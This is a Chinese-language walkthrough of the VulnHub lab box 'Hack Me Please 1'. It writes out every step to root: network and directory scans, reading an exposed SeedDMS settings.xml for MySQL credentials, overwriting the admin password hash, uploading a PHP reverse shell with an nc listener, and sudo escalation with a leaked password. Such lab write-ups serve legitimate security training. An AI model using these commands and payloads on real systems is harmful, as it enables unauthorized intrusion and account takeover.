简介
靶机链接:https://www.vulnhub.com/entry/hack-me-please-1,731/
难度:简单
描述:一个完全为OSCP设计的简单盒子。不需要暴力破解。
目的:获得root shell
确定IP地址
首先,我们必须识别靶机的 IP 地址(如果是在真实环境中这一步应该是绕过CDN,或者其他方法找到真实服务器IP)
netdiscover -r 192.168.81.0/24
扫描开放端口
端口探测查看开启的服务
nmap -sC -sV 192.168.81.151 -n -vv --min-rate=2000
由于没有开启ssh,我们必须找其他方法进行远程命令控制,先来读一读网页信息。
探测web服务
查看默认页面
该网站的默认页面没有过多信息
进行子目录遍历
从下级目录中搜寻有没有可利用的信息
gobuster dir -u http://192.168.81.151 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20
都为403、301访问后显示权限不允许。此方法无果。
查看页面源码js链接中有没有敏感信息泄露
结果在main.js里发现敏感信息。
百度去搜索一下seeddms,发现是一个文档管理系统,版本为5.1.22。访问http://192.168.81.151/seeddms51x/seeddms-5.1.22。为一个登录页面,但题目要求不需要暴力破解。
搜集seedms的信息
1.搜集该系统版本漏洞
searchsploit seeddms 或者在https://www.exploit-db.com/exploits搜索
存在漏洞的版本都是低版本,该seeddms可能没有漏洞 ,但可以做个参考试一试。
两个RCE漏洞都需要登录后才可利用。现在或许只能设法从mysql中得到seeddms登录密码信息。
2.查看该系统的文件目录获取更多信息
访问https://sourceforge.net/p/seeddms/code/ci/5.1.22/tree/ #查看目录树
https://sourceforge.net/projects/seeddms/files/ #下载该软件的地址
查看目录树,发现有一个conf配置文件,conf包含服务器的配置。配置文件中多存在敏感信息。
查看settings.xml.template,发现该文件中要求写入数据库信息。访问该页面就可以的到mysql账号密码!
首先我们了解一下.htaccess,这是一个apache服务器的配置文件,可以允许/阻止特定目录的访问
下载该软件后查看conf下,默认没有.htaccess,需要手动配置 。
因为是靶机ctf,我们假设管理员没有配置成功,直接访问http://192.168.81.151/seeddms51x/conf/settings.xml,得到了数据库账号密码!
登录mysql,尝试获得seeddms的密码
mysql -h 192.168.81.151 -D seeddms -u seeddms -p
show tables; //查看表格
发现所有表格都以tbl开头,但又一个单独的 users
MySQL [seeddms]> SELECT * FROM users; //查看users
获取了一个密码信息,可能是靶机用户的密码,但是没有账号。
查看tblusers
select * from tblUsers;
发现存在账号密码信息,尝试 cmd5.com破解密码,但失败
直接修改数据库保存密码
UPDATE tblUsers SET pwd='670b14728ad9902aecba32e22fa4f6bd' WHERE login='admin';
pwd为自己生成的密码
修改成功,可以登录
利用RCE漏洞
利用我们之前搜集到的版本漏洞
可以执行一句话木马,但是网页操作比较繁琐,下面我们使用反弹shell
- 首先生成php shell文件
kali有自带反弹shell文件 /usr/share/webshells/php/php-reverse-shell.php
或者使用https://www.revshells.com/ 自动生成反弹shell
2.上传该文件
3.kali上进行监听: nc -nlvp 1234
4.访问反弹shell文件 192.168.81.151/seeddms51x/data/1048576/id/1.php
5.此时监听成功
4.增加反弹shell的交互功能:python3 -c 'import pty;pty.spawn("/bin/bash")'
提权
此时我们已经有了远程命令执行
- grep bash /etc/passwd 查看可以登录的账号,发现有saket账户,之前在user表中看到过密码:Saket@#$1337
2.尝试登录 su - saket
3.检查用户的 sudo 权限,发现有all权限
4. sudo su - root 直接切换到root,提权成功!